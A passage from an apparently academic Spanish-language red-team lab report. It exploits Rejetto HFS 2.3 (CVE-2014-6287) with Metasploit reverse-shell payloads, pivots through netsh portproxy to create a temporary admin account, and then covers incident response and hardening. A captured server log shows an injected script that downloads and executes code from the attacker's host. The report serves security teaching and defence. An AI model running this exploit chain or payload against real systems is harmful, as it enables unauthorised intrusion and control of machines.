Formacion en Ley 1273, proteccion de datos y Codigo de

Etica COPNIA.

Canales de denuncia

Establecer mecanismos internos y externos para reportar

irregularidades sin represalias.

Fuente. Elaboracion propia Nelson Reyes

(Qué mecanismos de supervision y control deberian implementarse en las empresas de

ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de analisis forense

con fines no autorizados o éticamente cuestionables?

Tabla 6.

Propuesta de mecanismos de supervision y control

Mecanismo

Descripcion
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Politica de uso autorizado

Definir en el Rules of Engagement (RoE) (Reglas de
enfrentamiento) qué herramientas forenses pueden emplearse,

bajo qué condiciones y alcance.

Gestion de privilegios

(PAM)

Implementar soluciones de Privileged Access Management
(Administracion de Acceso Privilegiado), para otorgar accesos

temporales y justificados, con registro completo

Auditoria continua y

trazabilidad

Monitoreo mediante SIEM (gestion de informacion y eventos
de seguridad) y UEBA (andlisis del comportamiento de
usuarios y entidades) para detectar patrones anomalos en el

uso de herramientas forenses.

Inventario y whitelisting

(Lista blanca)

Mantener listado oficial de herramientas aprobadas, con

control de versiones y licenciamiento.

Separacion de funciones

Segregar roles entre quienes ejecutan analisis y quienes

validan resultados, aplicando el principio de “cuatro ojos”.

Capacitacion ética y legal

Formacion periddica en Ley 1273 de 2009, proteccion de
datos y Codigo de Etica COPNIA para reforzar la

responsabilidad profesional.

Canales de denuncia

internos

Establecer mecanismos seguros y andnimos para reportar uso

indebido, con politica de no represalias.

Fuente. Elaboracion propia Nelson Reyes

(Como deberian responder los gobiernos y organizaciones cuando descubren que una

empresa de ciberseguridad contratada ha cometido actos de ciberespionaje?

. Cese inmediato del contrato y revocacion de accesos privilegiados.
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. Preservacion de evidencia digital siguiendo cadena de custodia para garantizar
validez probatoria.

o Notificacion correspondiente a las autoridades competentes (Fiscalia, Policia
Nacional) para activar procesos penales conforme a la Ley 1273 DE 2009, en especial los
articulos 269 y 269G.

. Auditoria independiente para determinar alcance del incidente y evaluar impacto
en datos personales y sistemas criticos.

o Acciones contractuales: aplicar clausulas penales, sanciones econémicas y, en el
sector publico, declarar la inhabilidad del proveedor.

o Comunicacion transparente con las partes afectadas, cumpliendo normativas de
proteccion de datos y gestion de incidentes.

(Cuales serian las medidas adecuadas para restaurar la confianza y asegurar que no ocurra

nuevamente?

Tabla 7.

Medidas propuestas

Medida Descripcion

Revision y fortalecimiento Incorporar clausulas que obliguen a cumplir normativa
contractual nacional (Ley 1273, Ley 1581) y principios éticos.
Certificacion y auditorias Exigir certificaciones internacionales (ISO 27001, ISO 27701)
periodicas y auditorias externas para validar cumplimiento.

Implementacion de controles ~ Aplicar PAM, SIEM, DLP y monitoreo continuo para

técnicos reforzados prevenir accesos indebidos.
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Publicar informes post-incidente y planes de remediacion para
Politica de transparencia
demostrar compromiso con la seguridad.

Programas de formacion en ética profesional, normatividad y
Capacitacion obligatoria
buenas practicas para todo el personal.

Facilitar mecanismos para reportar irregularidades ante entes
Canales de denuncia externos
reguladores sin temor a represalias.

Fuente. Elaboracion propia Nelson Reyes
Componente practico - Practicas simuladas
Configuraciones realizadas equipo Redteam
Herramientas utilizadas
Se utilizo la metodologia: Reconocimiento, Enumeracion, Deteccion de vulnerabilidades,
Explotacion, Postexplotacion, Pivoting/Movimiento lateral, Limpieza y remediacion, teniendo en
cuenta lo establecido en el “anexo 4 — Escenario 3 - Situacion problema: Analisis Red Team™:
a. Reconocimiento y Enumeracion
e ping/ arp-scan: implicito por la deteccion de IPs activas, desde Parrot/Kali para
validar conectividad hacia 192.168.0.22 (Host-A) y descubrir 10.10.10.4 (Host-B) a
través del salto.
o nmap (escaneos TCP SYN/Version):
o Deteccion de puerto 80/TCP abierto en Host-A y banner de HFS 2.3.
o Scripts NSE como http-title, http-headers, http-server-header, http-enum para
perfilar servicio.
e Evidencias: Figuras 6-9.

b. Deteccion de vulnerabilidades
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e Nikto: o escaneo de vulnerabilidades web con NSE y utilidades equivalentes,
identificacion de:

o HFS 2.3 vulnerable a RCE (CVE-2014-6287) por command injection en
search / cgi, y flags de cookies (MSS SID) y cabeceras que permiten
fingerprinting.

e Evidencias: Figuras 10—12.
Explotacion
e Metasploit Framework en Parrot/Kali:

o Modulo exploit/windows/http/rejetto_hfs exec con payload
windows/meterpreter/reverse_tcp o windows/shell/reverse _tcp.

o Configuracion: set RHOSTS 192.168.0.22, set RPORT 80, set LHOST
192.168.0.12, set LPORT 4444, exploit -j (segun tus pantallas).

(Evidencias: Figuras 13—18).

d. Postexplotacion (Host-A)

.

o Debido a que la sesion meterpreter no cargé stdapi, se opto por shell clasico para:
o Descubrir red e interfaces: hostname, ipconfig, validacion de doble interfaz
(bridge 192.168.0.22/24 y NAT 10.10.10.3/24).
o Inspeccion de contexto de usuario y privilegios: whoami /all.
(Evidencias: Figuras 19-24).
Pivoting / Movimiento lateral hacia Host-B
e Pivoting a nivel de Host-A (Windows) con netsh portproxy para redirigir trafico
desde Host-A (10.10.10.3) hacia Host-B (10.10.10.4), exponiendo servicios de la red

NAT a través del segmento alcanzable desde Parrot/Kali.
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e Validacion con herramientas de Windows y PoC de creacion de cuenta admin efimera
en Host-B (formato “primerNombre+primerApellido™), y posterior
eliminacion/limpieza (reglas portproxy y cuenta).

e Evidencias: Figuras 25-28.

f. Limpieza y remediacion (PoC controlada)
e Eliminacién de cuenta efimera y de reglas netsh portproxy usadas para el pivot.
e Evidencias: Figuras 28-30.
Datos e informacion para identificar fallo
Se relaciona la lista y descripcion de los datos e informacion del anexo 4 — escenario 3,
los cuales fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la
Maquina - 1 Windows.

. Aplicacion vulnerable en Host-A (Windows) posiblemente explotada para obtener

shell y escalar privilegios.

J Evidencia de creacion no autorizada de un usuario admin.

° Movimientos laterales desde Host-A hacia Host-B, servidor de archivos o base de

datos, con extraccion de informacion sensible.

J Requerimiento explicito de reproducir pivoting Host-A — Host-B y como PoC

crear cuenta administrativa efimera en Host-B.

Estos elementos direccionan la hipotesis hacia servicios expuestos en Host-A (p. ¢j.,

HTTP/80 HFS) con historial de vulnerabilidades de ejecucion remota (RCE)
Herramientas utilizadas para identificar fallos de seguridad
(Qué herramienta utilizé para poder identificar los fallos de seguridad de la “M4équina - 1

Windows”?
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. Herramienta: combinacién de Nmap (deteccion de servicios y version) y escaner
web (NSE/nikto) para confirmar Rejetto HFS 2.3 y su exposicion.

(Qué puerto abre la aplicacion especifica en el anexo?

J Puerto de la aplicacion: HTTP 80/TCP en Host-A (192.168.0.22), donde corre
HFS. (En la Figura se muestra HFS en 80; Nmap/HTTP-title confirman servicio).
Explicacion como afecta el ataque a las maquinas

Explicacion como afecta el ataque a las maquinas (Windows) encontradas en la red.

Cadena de ataque.

. Exposicion de HFS (Host-A) en 80/TCP permite RCE (CVE-2014-6287).

o El atacante (Parrot/Kali 192.168.0.12) lanza
exploit/windows/http/rejetto_hfs exec => consigue shell/meterpreter en Host-A (192.168.0.22).

. Desde esa posicion, identifica segunda interfaz NAT 10.10.10.3/24 que ve a
Host-B (10.10.10.4).

o Realiza pivoting (ej. netsh interface portproxy) en Host-A para encaminar trafico
desde Parrot/Kali hacia Host-B.

. Ejecuta acciones de movimiento lateral/administrativas sobre Host-B (PoC): crear
y luego eliminar cuenta admin efimera (controlado).

o Riesgo: robo de datos en Host-B, persistencia, escalamiento y fuga de
informacion, tal como describe el anexo.
Efectos.

° Host-A: compromiso inicial via servicio web vulnerable; ejecucion de comandos;

posible escalamiento.
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. Host-B: impacto por pivoting => movimiento lateral y acciones administrativas
(creacion de cuenta efimera), que en escenarios reales podrian traducirse en exfiltracion o
modificacion de informacion sensible
Documentacion pasos ejecutados y evidencias

Se procede a documentar cada uno de los pasos que se ejecuto y las evidencias
correspondientes para la validacion de la vulnerabilidad en la méquina Windows, asi mismo, la
descripcion del pivoting realizado hacia la segunda méaquina.

a) Preparacion de laboratorio (VirtualBox)

o Parrot/Kali (bridge 192.168.0.12/24).

o Host-A (bridge 192.168.0.22/24 + NAT 10.10.10.3/24).

o Host-B (NAT 10.10.10.4/24).

Esta topologia facilita que Parrot alcance a Host-A por bridge, pero no vea directamente a
Host-B (solo accesible desde la red NAT a través de Host-A).

b) Servicio vulnerable en Host-A

o Instalacion/ejecucion controlada de Rejetto HFS en 80/TCP.

¢) Reconocimiento / Enumeracion

o Nmap hacia 192.168.0.22: deteccion de HTTP/80, titulos y cabeceras que revelan
HFS 2.3.

d) Deteccion de vulnerabilidades

o Identificacion de HFS y advertencias de seguridad (cookies, headers) y plugins
que sefialan RCE conocida en HFS 2.3.

e) Explotacion
. Metasploit: cargar modulo rejetto hfs exec, setear RHOSTS, RPORT, LHOST,

LPORT, exploit.
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. Intento de meterpreter; ante limitaciones de stdapi, uso de shell nativo.
f) Postexplotacion en Host-A
J hostname / ipconfig: confirman doble conectividad (192.168.0.22 y 10.10.10.3).
. whoami /all: inspeccion de grupos y privilegios vigentes.
g) Pivoting hacia Host-B y PoC administrativa
o netsh interface portproxy add v4tov4 ... en Host-A para exponer un puerto de
Host-B hacia el segmento 192.168.0.0/24.
o Accion PoC en Host-B (via tunel/pivot): crear cuenta admin efimera con formato
primerNombre+primerApellido; validar; eliminar y limpiar reglas de portproxy.
h) Limpieza y remediacion (PoC controlada)
o Verificacion final de eliminacion de cuenta.
Preparacion de laboratorio (VirtualBox)
Se llevo a cabo la creacion de un banco de trabajo en el entorno VIRTUAL BOX, asi:
. Kali (Parrot): Adaptador Puente: 192.168.0.12/24
o Host-A: Adaptador Puente: 192.168.0.22/24 y NAT Network: 10.10.10.3/24
J Host-B: Adaptador NAT Network: 10.10.10.4/24
Figura 19.

Verificacion IP Parrot Kali Linux
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OHEEX

‘erminal
Terminal Help

Bl ParrotTerminal

Q&P & 1)@ & @ (@) CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra la [P 192.168.0.12 asignada al equipo atacante Parrot OS mediante adaptador
puente, confirmando su presencia en el mismo segmento de red que Host-A, lo cual permite
iniciar el reconocimiento activo.

Figura 20.

Verificacion de conectividad con Host-A y Host-B

Terminal Help

Bl Parrot Terminal

@U@ o 6 E® 8 TR DERECHA

Fuente. Elaboracion propia Nelson Reyes
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Nota: la imagen evidencia el uso de comandos ping desde Parrot OS hacia Host-A
(192.168.0.22) y Host-B (10.10.10.4), confirmando conectividad con Host-A y ausencia de
acceso directo a Host-B, lo que justifica el uso posterior de pivoting.

Figura 21.

Configuracion de red en Host-A

— 10:07 p.m.
. 15/11/2025
B & o B K@ E TR DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se observa el resultado de ipconfig en Host-A, mostrando dos interfaces activas: una en el
segmento puente (192.168.0.22) y otra en red NAT (10.10.10.3), lo que lo convierte en un nodo
viable para redireccion de trafico interno.

Figura 22.

Configuracion de red en Host-B



\usuario>ipconfi

n IP de Win.

Adaptador de Ethernet Conexién de drea local:

Fuente. Elaboracion propia Nelson Reyes
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15/11/20;
G ) i 4917 [0l 881 (8 [$] CTRL DERECHA

Nota: la imagen muestra la IP 10.10.10.4 asignada a Host-B en red NAT, confirmando que no es

accesible directamente desde Parrot OS, lo que refuerza la necesidad de realizar pivoting desde

Host-A.

Figura 23.

Instalacion segura de Rejetto HF'S en Host-A

@\7/4 » Equipo b Discolocal (C) » Rejjeto 123456 » HFS »

Organizar « B Abrir Nueva carpeta
Nombre - e HFS ~ HTTP File Server 2.3
/ Favoritos
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B E<critorio . @ Open in browser  hittp://192.168.0.22/Rejeto_123456/
il Sitios recientes root Virtual File System
# hfs !
4 Bibliotecas =] Rejjeto 123456

[F Documentos
=] Imagenes.
& Misica

B Videos

& Grupo en el hogar

1% Equipo

&L, Disco local (C:)

€ Red

Build 288

Log

" Copy to clipboard

09:26:43 p.m. 192.168.0.12:34483 Req G

SET T On+ts
> x Open+"GET""http://192.168.0.12:8080/9gaQbvkmalSS3" False

> +Erm.Number+<>+0+Then
= wsh_exit

> End+f

> x.Send

> Execute+x responseText

09:29:02 pm 192 168 0 12:40461 Requested GET /?search=10:1732 p.m 192 168 0 12:39061 Requested |

> x Open+"GET" "http://192 168.0.12:8080/xWTxm8qp4xi”,False
> +Err Number+<>+0+Then

= wsh exit

> End+f

> x.Send

> Execute-+x.responseText.

3
10-17:53 pm_ 192 168 0 12:38385 Requested GET /?search=10-18:18 p.m Check update: failed

< il

91 1P address

= File Status Speed  Time.

Progress

Out: 0.0 KB/s  1n:0.0 KB/s

hfs Fecha de modifica... 16/02/2014 07:
Aplicacién Tamafio: 742 KB

@ 2] @ € m[e |

Fuente. Elaboracion propia Nelson Reyes

Ol e
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Nota: Se presenta la interfaz de Rejetto HFS 2.3 ejecutdndose en Host-A sobre el puerto HTTP
80, con registros de peticiones GET, lo que indica que el servicio estd activo y expuesto, siendo
un posible vector de ataque.

Reconocimiento y Enumeracion

Figura 24.

Comandos para reconocimiento

‘;)EJ B MonNov17

#8 Parrot Terminal
B O& o B @M CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra el uso de herramientas como nmap y arp-scan para identificar hosts activos y
servicios disponibles, iniciando el proceso de enumeracion en la red.

Figura 25.

Descubrimientos de los hosts
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Bl Parrot Terminal

G O 1) [E i 881 (D [¥] CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: la imagen refleja los resultados del escaneo, donde se detecta Host-A como objetivo viable
por su exposicion en el segmento de red alcanzable.

Figura 26.

Verificacion de puertos abiertos

stem @ F B »J ‘y)u W MonNov17,02:41

Terminal Help

Bl Parrot Terminal

B Ol &@ 6 E# &S @ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se evidencia que el puerto 80/TCP esta abierto en Host-A, lo que confirma la presencia de

un servicio web potencialmente vulnerable.



Figura 27.

Deteccion de HFS y rutas tipicas

ot Terminal

B0 Parrot Terminal

@ & | Bl & @ @ cTrL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra el uso de scripts NSE para identificar el servicio HFS 2.3 en Host-A,
incluyendo cabeceras HTTP y rutas comunes, lo que permite perfilar el objetivo.
Deteccion de vulnerabilidades

Figura 28.

Comando whatweb

Menu Bl Parrot Terminal

@ @6 E# &S @ CTRLDERECHA
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Fuente. Elaboracion propia Nelson Reyes

Nota: la imagen presenta el fingerprinting del servicio web en Host-A mediante WhatWeb,
confirmando la tecnologia HFS y posibles vectores de ataque.

Figura 29.

Resultados whatweb

B k& o B R @ cTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se detallan las tecnologias detectadas y cabeceras inseguras, lo que refuerza la hipotesis de
vulnerabilidad en el servicio HF.

Figura 30.

Comando nikto
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tem @ F B

‘erminal

Terminal Help

Parrot Terminal

B 0 2 2P 4371 [ 1 530 (8B [¥] CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra el escaneo de seguridad con Nikto, donde se identifica la vulnerabilidad CVE-
2014-6287 en HFS 2.3, junto con otras debilidades en cookies y headers.

Explotacion

Figura 31.

Carga de exploit en Metasploit

t Terminal

1) (unknown

=8 Menu = ParrotTerminal

& ¢ o &P 29 [ 7R 350 (83 (¥ CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes
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Nota: La imagen evidencia la carga del modulo rejetto hfs exec en Metasploit, configurado para
explotar la vulnerabilidad RCE en Host-A..
Figura 32.

Nuevo intento explotacion meterpreter

Parrot Terminal

Automatic

2] = |
& & 15 il il & #) cTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: durante la explotacion de HFS, la sesion meterpreter obtenida no cargd la extension stdapi,
lo que limita el uso de comandos avanzados. Esto es comun en exploits que usan procesos
temporales o payloads staged, se continud la post-explotacion usando el comando shell para
ejecutar instrucciones de Windows y documentar la evidencia.”

Figura 33.

Nuevo ingreso msfconsole



=E Menu 8 Parrot Terminal

@O0 & o6& ® 8 TR DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: la imagen presenta la consola de Metasploit lista para ejecutar el exploit, con
configuracion limpia y estable.
Figura 34.

Comando acceso rejetto_hfs _exec

Parrot Terminal

o & /9 ) B0 il 3 (B ¥ cTRI DFRFCHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se detallan los parametros del exploit: IPs, puertos y payload windows/shell/reverse tcp,

listos para lanzar la explotacion.
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Figura 35.

Ejecucion para apertura sesiones

tem @ F B

‘erminal
earch Terminal Help

B 0 2 2P 4371 [ 1 530 (8B [¥] CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra el proceso de entrega del payload y la apertura exitosa de una sesion de shell
remoto en Host-A.
Figura 36.

Verificacion sesiones abiertas y cerradas

Bl Parrot Terminal

B0k e BB @ ® TR DerecHA

Fuente. Elaboracion propia Nelson Reyes
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Nota: la imagen evidencia multiples intentos de conexion hasta estabilizar la sesion, lo que es
comun en exploits con payloads stage.

Postexplotacion (Host-A)

Figura 37.

Comando whoami y hostname

Bl Parrot Terminal

@0 & 6 =i & & TR DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se verifica el nombre del host y el usuario activo en Host-A, confirmando el contexto de
ejecucion de la shell obtenida.
Figura 38.

Verificacion informacion host — A, desde Parrot
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B 0 2 2P 4371 [ 1 530 (8B [¥] CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra el detalle de las interfaces de red en Host-A, confirmando la presencia de las
IPs 192.168.0.22 y 10.10.10.3.

Figura 39.

Comando informacion usuario

stem @ 1 B oJ )T B MonNo
Parrot Terminal
rch Terminal Help

B & B & @ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: la imagen presenta el SID del usuario activo en Host-A, 1til para evaluar el alcance de los

privilegios.
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Figura 40.

Continuacion informacion usuario

B Parrot Terminal

[E11 i 2 (@ [#] TRI NFRFCHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se detallan los grupos a los que pertenece el usuario, incluyendo Usuarios y
Administradores si aplica, lo que permite valorar el nivel de acceso.

Figura 41.

Informacion de privilegios

Terminal

Parrot Terminal

B 0 o P 4 ) [l 33 (8B [¥] CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes



Nota: se muestra la lista de privilegios habilitados y deshabilitados del usuario, como
SeChangeNotifyPrivilege, relevantes para postexplotacion.
Figura 42.

Continuacion informacion privilegios

Bl Parrot Terminal

& &1 5 il @l & [#) cTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: la imagen complementa la anterior con privilegios adicionales como SeBackupPrivilege,
utiles para evaluar posibles escalamientos.

Pivoting / Movimiento lateral hacia Host-B

Figura 43.

Acceso a cmd Host-A desde Parrot y comandos pivoting
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Parrot

user's Home

README.license

password.txt

)

=B Menu i ParrotTerminal

B} 0 9 17 B0 i 351 (R (3] CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra el uso de netsh interface portproxy en Host-A para redirigir trafico hacia
Host-B, estableciendo el canal de pivoting.

Figura 44.

Comando active

arch Terminal Help

Bl Parrot Terminal

B & e B E® @ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: la imagen presenta la verificacion de reglas activas de portproxy, confirmando que el

redireccionamiento esta funcionando.
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Figura 45.

Creacion usuario en Host-B desde Parrot a travées de Host-A

Parrot

"

user's Home

README license

#N Parrot Terminal

& o B @ @ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se evidencia la ejecucion remota de comandos en Host-B a través del tinel, logrando crear
una cuenta administrativa efimera.

Figura 46.

Verificacion creacion de usuario Host-B

meael

& o B E @ @ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes



70

Nota: la imagen confirma que la cuenta fue creada exitosamente en Host-B, validando el impacto
del movimiento lateral.

Limpieza y remediacion (PoC controlada)

Figura 47.

Comando para limpieza creacion usuario en host-B

# Parrot Terminal

B O& o B @ @ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: se muestra la eliminacion de la cuenta efimera en Host-B y la limpieza de reglas de
portproxy en Host-A, restaurando el estado previo.

Figura 48.

Verificacion en Host-A eliminacion usuario creado
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. Windows 7 Professional o=

@ o B E @ @ cTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes
Nota: la imagen confirma que no quedan reglas activas ni usuarios creados, cerrando el ejercicio
de forma controlada y ética
Respuesta y Contencion ante Incidentes de Ciberseguridad

La implementacion de medidas de hardening es clave para reducir la superficie de ataque,
el uso de CIS Benchmarks es fundamental para estandarizar configuraciones seguras (CIS
Security, 2020), complementado con la gestion de parches que resulta esencial para mitigar
riesgos (Scarfone & Mell, 2022), ademas, la gestion adecuada de incidentes es determinante para
garantizar la resiliencia organizacional (Zambrano Hernandez, Pefia Hidalgo & Cardenas Corral,
2024), la evaluacion de riesgos y la aplicacion de controles técnicos son procesos criticos para
mantener la continuidad operativa (Centro de Respuestas a Incidentes Informaticos — CSIRT
Académico UNAD, 2024).

1. ,Qué seria lo primero que indagaria y haria si llegara a encontrarse un

ataque en tiempo real? Especifique su respuesta con argumentos técnicos.



Diagrama de flujo de contencion ante incidentes

A continuacion, se presenta un diagrama de flujo que resume las principales acciones
ejecutadas durante la respuesta y contencion de un incidente de ciberseguridad, este esquema
facilita la comprension del proceso y la secuencia logica de actividades, desde la deteccion
inicial hasta la recuperacion y monitoreo posterior:
Figura 49.

Diagrama de flujo contencion

Deteccién delincidente:
Analisis de Logs y evidencias
Alstamiento del Host comprometido.
|
‘Documentaciony preservacion de evidencias
l
Aplicacion de medidas de hardening.

l
‘Recuperaciony monitoreo

Fuente. Elaboracion propia Nelson Reyes
e Deteccion del incidente:
Comenzaria identificando cualquier sefial de actividad anomala en los sistemas, como

alertas del SIEM, registros de accesos inusuales o comportamientos fuera de lo habitual, la

72

deteccion temprana es fundamental para evitar que el ataque se propague y cause mayores dafios.
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e Analisis de logs y evidencias:

Una vez detectado el incidente, revisaria los registros del sistema operativo y de red en la
maquina afectada (en este caso, HostA Windows), buscando patrones andémalos, conexiones
sospechosas o procesos inusuales, este analisis permite comprender el alcance del ataque y
orientar las siguientes acciones.

Figura 50.

Andalisis de logs y sesiones

Bl ParrotTerminal

& & |5 i W@ & [ CTRL DERECHA

Fuente. Elaboracion propia Nelson Reyes
Nota: muestra los intentos de conexion y la estabilizacion de la sesion, lo que es comtn en
exploits con payloads staged. Esta evidencia visual ayuda a comprender la dindmica del ataque y
la importancia de monitorear las sesiones abiertas y cerradas.

e Aislamiento del host comprometido:

Si se confirma que un equipo ha sido afectado, lo aislaria de la red de inmediato. Esto
puede hacerse desconectando fisicamente el dispositivo o aplicando reglas de firewall que
bloqueen su comunicacion, evitando asi movimientos laterales hacia HostB y otros activos

internos, y minimizando el riesgo de exfiltracion o escalamiento de privilegios.
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Figura 51.

Verificacion de conectividad con Host-A y Host-B

‘DD B MonNov17,02:39

1 # Parrot Terminal

B Ou& o B @@ CTRLDERECHA

Fuente. Elaboracion propia Nelson Reyes

Nota: la Figura 3 evidencia el uso de comandos ping desde Parrot OS hacia HostA
(192.168.0.22) y HostB (10.10.10.4), se confirma la conectividad con HostA y la ausencia de
acceso directo a HostB, lo que respalda la decision de aislar el host comprometido para evitar
movimientos laterales y proteger otros activos.

e Uso de herramientas de analisis:

Con el host aislado, emplearia utilidades como Sysinternals Suite, Wireshark y netstat
para analizar procesos, conexiones y trafico en tiempo real. Estas herramientas, al ser de licencia
libre, permiten profundizar en el andlisis técnico y recopilar evidencias adicionales sin incurrir en
costes elevados.

Figura 52.

Analisis de trafico HTTP con Wireshark
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Fuente. Elaboracion propia Nelson Reyes

e Documentacion y preservacion de evidencias:

Durante todo el proceso, registraria cada paso y hallazgo de manera rigurosa, asegurando
la preservacion de evidencias para el analisis forense posterior y cumpliendo con las buenas
practicas de respuesta a incidentes.

e Aplicacion de medidas de hardening:

Tras contener el incidente, implementaria medidas de hardening en los sistemas
afectados, como la actualizacion de software, la segmentacion de la red y la aplicacion del
principio de minimo privilegio, para prevenir futuros ataques similares.

e Recuperacion y monitoreo:

Finalmente, restauraria los servicios afectados y estableceria un monitoreo continuo para
detectar cualquier intento de reinfeccion o actividad sospechosa, garantizando asi la seguridad y
operatividad de la infraestructura.

2. . Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team, qué

medidas de hardenizacion propondria para que el ataque no se repita?
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Considerando el ataque ejecutado (explotacion de HFS vulnerable y movimiento lateral),
las medidas de hardenizacion recomendadas son:

. Actualizacion y parcheo de software: eliminar o actualizar servicios vulnerables
como HFS 2.3, aplicando los parches de seguridad correspondientes.

o Segmentacion de red: limitar la exposicion de servicios criticos mediante VLANs
y firewalls internos, evitando que una maquina comprometida pueda acceder libremente a otras.

. Principio de minimo privilegio: configurar cuentas de usuario con los permisos
estrictamente necesarios y deshabilitar cuentas administrativas innecesarias.

o Deshabilitar servicios innecesarios: revisar y desactivar servicios y puertos no
utilizados en los hosts Windows.

. Implementacion de reglas de firewall: restringir el trafico entrante y saliente solo a
lo esencial, bloqueando accesos no autorizados.

. Auditoria y monitoreo continuo: establecer alertas para detectar comportamientos
andmalos y realizar revisiones periddicas de logs y configuraciones.

3. .Describa con sus palabras las diferencias entre un equipo Blueteam y un
equipo de respuesta a incidentes informaticos?

La diferencia entre un equipo Blue Team y un equipo de respuesta a incidentes
informaticos (CSIRT) va mucho mas all4 de sus funciones basicas; implica comprender el
enfoque, la metodologia y el impacto que cada uno tiene en la seguridad de la organizacion, el
Blue Team representa la defensa activa y permanente, sus integrantes trabajan de manera
preventiva, analizando la infraestructura tecnologica, identificando vulnerabilidades y aplicando
controles para reducir la superficie de ataque, este equipo se encarga de la monitorizacién

constante de los sistemas, la gestion de alertas, la aplicacion de politicas de hardening y la
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actualizacion de herramientas y procedimientos, su objetivo principal es anticiparse a los riesgos,
detectar amenazas antes de que se materialicen y mantener la continuidad operativa.

El Blue Team no solo responde ante eventos sospechosos, sino que también promueve
una cultura de seguridad, capacitando al personal y revisando periddicamente las estrategias para
adaptarlas a los cambios tecnoldgicos y a la evolucion de las amenazas, su trabajo es silencioso
pero fundamental, ya que muchas veces evita incidentes graves que podrian pasar desapercibidos
para el resto de la organizacion.

Por otro lado, el CSIRT asume un papel especializado y reactivo, este equipo entra en
accion cuando se confirma la existencia de un incidente de seguridad, como una brecha de datos,
un ataque de ransomware o una intrusion no autorizada, el CSIRT despliega procedimientos de
investigacion, contencion y erradicacion, trabajando bajo presion para limitar el impacto y
restaurar los servicios afectados, ademads, realiza andlisis forense para determinar el origen y el
alcance del ataque, documenta las evidencias y propone medidas correctivas para evitar que el
mismo problema se repita.

El CSIRT también tiene la responsabilidad de comunicar el incidente a las partes
interesadas, coordinarse con otros equipos internos y, en ocasiones, colaborar con autoridades
externas si el caso lo requiere, su intervencion es crucial para minimizar danos, proteger la
reputacion de la organizacion y cumplir con las obligaciones legales y regulatorias.

En conclusion, el Blue Team y el CSIRT son piezas complementarias en el ecosistema de
la seguridad informatica. Mientras el Blue Team construye y mantiene una barrera solida frente a
las amenazas, el CSIRT actia como el equipo de emergencia que gestiona la crisis cuando esa
barrera es superada, la colaboracion entre ambos equipos, el intercambio de informacion y el

aprendizaje mutuo son esenciales para alcanzar un nivel de seguridad robusto y resiliente, solo a
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través de una estrategia integral, donde la prevencion y la respuesta se articulen de manera
efectiva, es posible proteger los activos digitales y garantizar la confianza en la organizacion.

4. .Si dentro de un equipo Blueteam le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

El CIS proporciona benchmarks y guias de buenas practicas para la configuracion segura
de sistemas y aplicaciones, en un equipo Blue Team, el CIS se utiliza para:

. Estandarizar configuraciones seguras: aplicar los CIS Benchmarks para Windows
y otros sistemas, asegurando que las configuraciones cumplen con estandares reconocidos
internacionalmente.

o Evaluar el cumplimiento: realizar auditorias periddicas para verificar que los
sistemas mantienen las configuraciones recomendadas.

. Capacitacion y concienciacion: utilizar los recursos del CIS para formar al
personal en practicas de seguridad.

El uso del CIS es fundamental para reducir la superficie de ataque y mejorar la resiliencia
de la infraestructura.

5. Explique y redacte las funciones y caracteristicas principales de lo que es un
SIEM.

Un SIEM (Security Information and Event Management) es una solucidon que centraliza
la recoleccion, correlacion y analisis de eventos de seguridad provenientes de multiples Fuentes

(sistemas, aplicaciones, dispositivos de red), sus funciones principales son:

. Recoleccion y normalizacion de logs: agrega y estandariza registros de diferentes
sistemas.
o Correlacion de eventos: detecta patrones y relaciones entre eventos que podrian

indicar amenazas.
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. Alertas en tiempo real: notifica a los equipos de seguridad sobre incidentes
potenciales.
J Analisis forense: facilita la investigacion posterior a un incidente mediante la

conservacion y consulta de registros historicos.

. Cumplimiento normativo: ayuda a demostrar el cumplimiento de regulaciones
mediante reportes y auditorias.

Un SIEM es esencial para la deteccion temprana y la respuesta eficaz ante incidentes de
seguridad.

6. Defina por lo menos 3 herramientas de contencion de ataques informaticos
“hardware o software”, recuerde que las herramientas de contencion son diferentes a las
herramientas de deteccion.

A continuacion, se describen tres herramientas de contencion, distintas de las de
deteccion:

. Firewall (software/hardware): permite bloquear o permitir trafico segun reglas
definidas, aislando segmentos comprometidos y evitando la propagacion del ataque.

o Control de acceso a dispositivos (Device Control): restringe el uso de dispositivos
externos (USB, discos duros) para evitar la exfiltracion de datos o la introduccion de malware.

. Network Access Control (NAC): limita el acceso a la red solo a dispositivos
autorizados y en cumplimiento con politicas de seguridad, pudiendo aislar automaticamente
equipos sospechosos.

Estas herramientas, implementadas correctamente, permiten contener eficazmente

incidentes y proteger los activos criticos de la organizacion
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Limitaciones y posibles mejoras futuras

A lo largo del desarrollo de este ejercicio de respuesta y contencidon ante incidentes de
ciberseguridad, se han alcanzado importantes aprendizajes y resultados, sin embargo, es
fundamental reconocer que todo proceso puede perfeccionarse y que existen aspectos que
podrian optimizarse en futuras implementaciones.

Limitaciones

